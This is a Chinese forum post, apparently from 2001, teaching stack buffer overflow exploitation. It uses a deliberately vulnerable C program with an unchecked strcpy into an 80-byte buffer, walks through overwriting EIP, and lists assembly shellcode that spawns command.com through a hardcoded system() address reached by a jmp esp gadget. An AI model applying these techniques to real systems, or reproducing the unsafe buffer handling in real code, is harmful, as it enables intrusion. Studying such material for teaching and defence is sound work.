d0nNy
 
级别:老 站 友 威望:0 经验:0 货币:19 体力: 来源:好像是三番市 总发帖数:381 注册日期:2002-04-12
|
|
查看 邮件 主页 QQ 消息 引用 复制 下载
主题: 深入浅出谈“缓冲区溢出”攻击
QQQQ
开国大老 威望:0 发表于 2001-08-11.01:58:50
--------------------------------------------------------------------------------
缓冲区溢出”是黑客谈论最多的话题之一,我也是一个hack初学者,以前用过sunx的iis5hacker,idahack,后来是snake的IISIDQOverflowV2_Build0016.exe,我相信大部分看这遍文章的人都用过,但倒底这些程序做了什么呢?
这篇文章我会举个实例,让你知道它到底能干什么,然后你就知道“缓冲区溢出”为什么会是当前骇客入侵攻击的主力手法,我想看完后你用“缓冲区溢出”hack起来会心里有底.
不过这篇文章我是假设你已经知道CPU暂存器,懂组合语言,C程序设计,Windows系统运作这些基础(我也刚知道),所以我不再废话讲这些东西,而是直接谈实际的范例,如果你不懂这些基础也没关系,当故事来看,我想你应该也有收获。
首先来看实例的“Buffer Overflow Demo.exe”程序:
#include
<windows.h> #include <stdio.h> void
overflow(char *s,int size)
{ char buffer[80];
s[size]=0; strcpy(buffer,s); }
int main ( )
{ FILE *file; char buf [300]; LoadLibrary(
"msvcrt.dll" ); file = fopen("bo.txt.code","rb"); if(
file!=NULL ) { fread(buf,sizeof(char),255,file);
overflow(buf,255); fclose(file); } else {
puts("open file error"); return 0; } }
这是我为了示范“缓冲区溢出”漏洞而写的一个有问题的程序,注意到在函示overflow()里面我只宣告80个字元的缓冲区大小
char buffer[80];
然后主程序main()里面它会读取硬碟内一个名为“bo.txt.code”的档案:
file =
fopen("bo.txt.code","rb");
然后把读取档案后的内容传给函示overflow()去执行。
在这你可以看到“bo.txt.code”档案的内容我是读取255个字元:
fread(buf,sizeof(char),255,file);
但是overflow()的缓冲区大小只有80个字元(char
buffer[80]),所以这个程序执行后Windows系统会跟我讲程序执行无效,然后将它关闭。
为什么“缓冲区溢出”会当掉,那是因为过长的资料把原本堆叠内暂存器的值覆盖掉,使得应该正常返回程序位址的EIP值变成错误,而导致Windows无法继续执行程序。
所以我设计了一个0~255 ASCII字元内容组成的“bo.txt.code”档案来让“Buffer Overflow
Demo.exe”程序执行.
你可看到在“bo.txt.code”档案里面16进位“50 51 52
53”的位置,会变成“Buffer Overflow Demo.exe”程序当掉时EIP的值,下面我将“50 51 52
53”改成“ee ee ee ee”,你会看到果然“Buffer Overflow Demo.exe”程序当掉后EIP就变成“ee ee
ee ee”:
好了,暂存器EIP是控制电脑去哪执行程序的一个指标,而发生“缓冲区溢出”时,竟然可以让我们自行指定EIP的值(如前面将“50
51 52 53”改成“ee ee ee
ee”),所以如果骇客将入侵程序在发生“缓冲区溢出”时去执行的话,不就可以达到让系统执行“入侵程序”的目的?
现在我写了一个简单的入侵程序,这个程序它的功能很简单,就是要开启一个DOS视窗.
程序如下:
mov esp,ebp push ebp mov ebp,esp xor edi,edi
push edi sub esp,08h mov byte ptr[ebp-0ch],63h mov
byte ptr[ebp-0bh],6fh mov byte ptr[ebp-0ah],6dh mov byte
ptr[ebp-09h],6dh mov byte ptr[ebp-08h],61h mov byte
ptr[ebp-07h],6eh mov byte ptr[ebp-06h],64h mov byte
ptr[ebp-05h],2eh mov byte ptr[ebp-04h],63h mov byte
ptr[ebp-03h],6fh mov byte ptr[ebp-02h],6dh lea eax,[ebp-0ch]
push eax mov eax, 78019824h call eax
好,我把这段入侵程序机械码涵括在“bo.txt.code”档案里面,然后算准要执行到这段程序码的EIP值是“62
74 06 80”(其实是找系统有 jmp esp-ff e4 的位址),
现在再执行一次这个“Buffer
Overflow Demo.exe”程序,
看到了吗?程序竟然没有当掉,而跑去执行我当初入侵程序码的内容,开了一个DOS视窗出来。
各位用过Windows出现类似如下的错误讯息经验有多少?
每个发生类似错误的程序,如果能够找到确实是因为“缓冲区溢出”而出问题的话,全部都能够变成骇客的工具.
=================================================== 版权:
本文由7nt所著,版权归7nt所有,转载请保持文章完整性!
|